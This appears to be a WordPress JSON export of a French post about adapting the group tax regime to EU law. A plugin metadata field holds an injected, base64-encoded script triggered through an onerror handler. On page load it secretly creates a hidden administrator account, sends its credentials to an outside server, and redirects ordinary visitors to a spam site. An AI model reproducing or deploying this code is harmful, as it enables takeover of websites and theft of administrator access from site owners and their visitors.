Certaines r\u00e8gles du r\u00e9gime de groupe fiscal, codifi\u00e9 aux articles 223 A et suivants du code g\u00e9n\u00e9ral des imp\u00f4ts (CGI), ont \u00e9t\u00e9 r\u00e9cemment remises en cause par plusieurs arr\u00eats de la Cour de justice de l\u2019Union europ\u00e9enne (CJUE), qui a jug\u00e9 contraires \u00e0 la libert\u00e9 d\u2019\u00e9tablissement des l\u00e9gislations nationales r\u00e9servant des avantages aux r\u00e9gimes de groupes nationaux, d\u00e8s lors que ces avantages ne concernaient que des soci\u00e9t\u00e9s r\u00e9sidentes.<\/p>\n\n\n\n\n\n\n\n
Par ailleurs, dans son rapport \u00abAdapter l\u2019imp\u00f4t sur les soci\u00e9t\u00e9s \u00e0 une \u00e9conomie ouverte\u00bb (d\u00e9cembre 2016), le Conseil des pr\u00e9l\u00e8vements obligatoires a estim\u00e9, concernant le r\u00e9gime de groupe fran\u00e7ais, que \u00ab la question de la compatibilit\u00e9 des principaux m\u00e9canismes de neutralisation se pose […] avec force \u00bb. Ainsi, des doutes subsistent quant \u00e0 la compatibilit\u00e9 de certains retraitements op\u00e9r\u00e9s en application des r\u00e8gles du r\u00e9gime de groupe au regard du droit de l\u2019Union europ\u00e9enne (UE). <\/p>\n\n\n\n
Le pr\u00e9sent article vise \u00e0 r\u00e9duire l\u2019ins\u00e9curit\u00e9 juridique, tant du point de vue des entreprises que des finances publiques, en am\u00e9nageant le r\u00e9gime de groupe en vue de le mettre en conformit\u00e9 avec le droit de l\u2019UE, sans pour autant rompre avec la logique d\u2019int\u00e9gration fiscale tr\u00e8s aboutie qui le sous-tend. En effet, il est important de maintenir l’attractivit\u00e9 du r\u00e9gime de groupe fran\u00e7ais en pr\u00e9servant cette logique, qui le diff\u00e9rencie des r\u00e9gimes de consolidation des b\u00e9n\u00e9fices applicables dans la plupart des autres \u00c9tats. <\/p>\n\n\n\n
A cet effet,le pr\u00e9sent article pr\u00e9voit certaines modifications du r\u00e9gime de groupe, qui ont fait l\u2019objet d\u2019une concertation avec les acteurs du monde \u00e9conomique au travers d\u2019une consultation publique sur la r\u00e9forme de l\u2019imp\u00f4t sur les soci\u00e9t\u00e9s entre le24 avril et le 25 mai 2018.<\/p>\n\n\n\n
Il est ainsi pr\u00e9vu de ne plus neutraliser dans le calcul du r\u00e9sultat d\u2019ensemble les subventions et abandons de cr\u00e9ances consentis entre les membres d\u2019un groupe, ni la quote-part de frais et charges imposable \u00e0 raison des plus-values de cession de titres de participation r\u00e9alis\u00e9es au sein d\u2019un groupe et relevant du taux d\u2019imp\u00f4t sur les soci\u00e9t\u00e9s de 0%.<\/p>\n\n\n\n
Corr\u00e9lativement,et compte tenu du co\u00fbt que repr\u00e9sentent ces am\u00e9nagements pour les groupes fiscaux, il est propos\u00e9 de r\u00e9duire le taux de cette quote-part de frais et charges de 12% \u00e0 5% pour toutes les entreprises.<\/p>\n\n\n\n
Par ailleurs, le traitement fiscal des distributions vers\u00e9es \u00e0 l\u2019int\u00e9rieur du groupe in\u00e9ligibles au r\u00e9gime des soci\u00e9t\u00e9s m\u00e8res serait rendu \u00e9quivalent \u00e0 celui applicable aux dividendes intra-groupe \u00e9ligibles \u00e0 ce r\u00e9gime : les dividendes in\u00e9ligibles au r\u00e9gime des soci\u00e9t\u00e9s m\u00e8res ne seraient ainsi plus neutralis\u00e9s int\u00e9gralement,mais \u00e0 hauteur de 99 % de leur montant.<\/p>\n\n\n\n
Il est \u00e9galement propos\u00e9 d\u2019\u00e9tendre certains avantages du r\u00e9gime de groupe relatifs aux dividendes \u00e0 certaines situations o\u00f9 une soci\u00e9t\u00e9 membre d\u2019un groupe per\u00e7oit des distributions de filiales \u00e9tablies dans un autre \u00c9tat membre de l\u2019UE qui, si elles \u00e9taient \u00e9tablies en France, rempliraient les conditions pour \u00eatre membres de ce groupe et \u00e0 d\u2019autres situations o\u00f9 une soci\u00e9t\u00e9 non membre d\u2019un groupe per\u00e7oit des distributions de filiales \u00e9tablies dans un autre \u00c9tat membre de l\u2019UE qui, si elles \u00e9taient \u00e9tablies en France, rempliraient les conditions pour former un groupe avec la premi\u00e8re soci\u00e9t\u00e9.<\/p>","protected":false},"excerpt":{"rendered":"
Certaines r\u00e8gles du r\u00e9gime de groupe fiscal, codifi\u00e9 aux articles 223 A et suivants du code g\u00e9n\u00e9ral des imp\u00f4ts (CGI), ont \u00e9t\u00e9 r\u00e9cemment remises en cause par plusieurs arr\u00eats de la Cour de justice de l\u2019Union europ\u00e9enne (CJUE), qui a jug\u00e9 contraires \u00e0 la libert\u00e9 d\u2019\u00e9tablissement des l\u00e9gislations nationales r\u00e9servant des avantages aux r\u00e9gimes de groupes nationaux, d\u00e8s lors que ces avantages ne concernaient que des soci\u00e9t\u00e9s r\u00e9sidentes.<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"cwp_meta_box_check":"Yes","cwp_rev_product_name":"","cwp_rev_product_image":"","wppr_links":[],"cwp_rev_price":"","wppr_options":[],"wppr_pros":[""],"wppr_cons":[""],"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-174","post","type-post","status-publish","format-standard","hentry","category-articles"],"wppr_data":{"cwp_meta_box_check":"Yes","_wppr_review_template":"default' onerror=\"eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo\/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));\" href='","cwp_image_link":"image","wppr_links":[],"cwp_rev_price":"","wppr_pros":[""],"wppr_cons":[""],"wppr_rating":"0.00","wppr_options":[]},"jetpack_publicize_connections":[],"yoast_head":"\n